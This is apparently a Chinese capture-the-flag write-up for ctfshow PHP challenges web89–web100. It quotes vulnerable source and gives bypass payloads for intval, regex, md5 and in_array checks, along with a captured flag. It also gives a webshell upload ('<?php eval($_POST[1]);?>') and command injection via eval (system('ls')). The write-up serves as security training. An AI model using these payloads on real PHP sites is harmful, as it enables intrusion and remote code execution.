web89
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
不能是数字但又必须是数字
在intval()函数中, 空的 array 返回 0,非空的 array 返回 1。
?num[]
web90
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
该博客写的十分具体https://blog.csdn.net/weixin_45785288/article/details/111085520
如下的结果都为4476
intval('4476.0') 小数点
intval('+4476.0') 正负号
intval('4476e0') 科学计数法
intval('0x117c') 16进制
intval('010574') 8进制
intval(' 010574') 8进制+空格
web91
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
/i #不区分大小写
/m #换行匹配
直接用url编码绕过/m
ctfshow{21100577-eb04-4b0f-8337-36636326cab8}
web92
用十六进制绕过
?num=0x117c
web93
限制了字母,用八进制绕过
?num=010574
web94
不让用八进制绕过了,使用小数点
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
?num=4476.0
web95
过滤了小数点,
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
使用intval(’ 010574’) 8进制+空格
?num=%20010574
web96
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
查看当前文件夹下的flag.php
?u=./flag.php
web97
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
有两种解法
解法一:md5()函数无法处理数组,传入的数组会返回NULL
a[]=1&b[]=2
第二种方法:MD5碰撞
很遗憾没实现,一直报URI malformed
有小伙伴知道怎么做的可以评论一下
web98
include("flag.php");
$_GET?$_GET=&$_POST:'flag'; #如果存在get请求,post就覆盖get
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);#GET传参HTTP_FLAG的值为flag
?>
由此构造POST
HTTP_FLAG=flag
随便GET一个东西,POST构造好的内容,得到flag
web99
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);}
?>
查看in_array() 函数用法
in_array() 函数搜索数组中是否存在指定的值。
注释:如果 search 参数是字符串且 type 参数被设置为 TRUE,则搜索区分大小写。
in_array(search,array,type)
说明
如果给定的值 search 存在于数组 array 中则返回 true。如果第三个参数设置为 true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。
如果没有在数组中找到参数,函数返回 false。
注释:如果 search 参数是字符串,且 type 参数设置为 true,则搜索区分大小写。
此处是弱类型
新加进去的随机数字每次都包含1,1存在的几率是最大的。
get:
?n=1.php
post:
content=<?php eval($_POST[1]);?>
访问1.php
提交shell命令
tac一下得到flag
WEB100
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
part1
<?php
$a=true and false and false;
var_dump($a); 返回true
$a=true && false && false;
var_dump($a); 返回false
只要v1=1就可以进入下一部分
part2
构造v2与v3,该题没有过滤shell,直接获取
?v1=1&v2=system("ls")&v3=;
?v1=1&v2=var_dump(get_class_vars(‘ctfshow’))&v3=;
可惜最后结果想不到怎么转换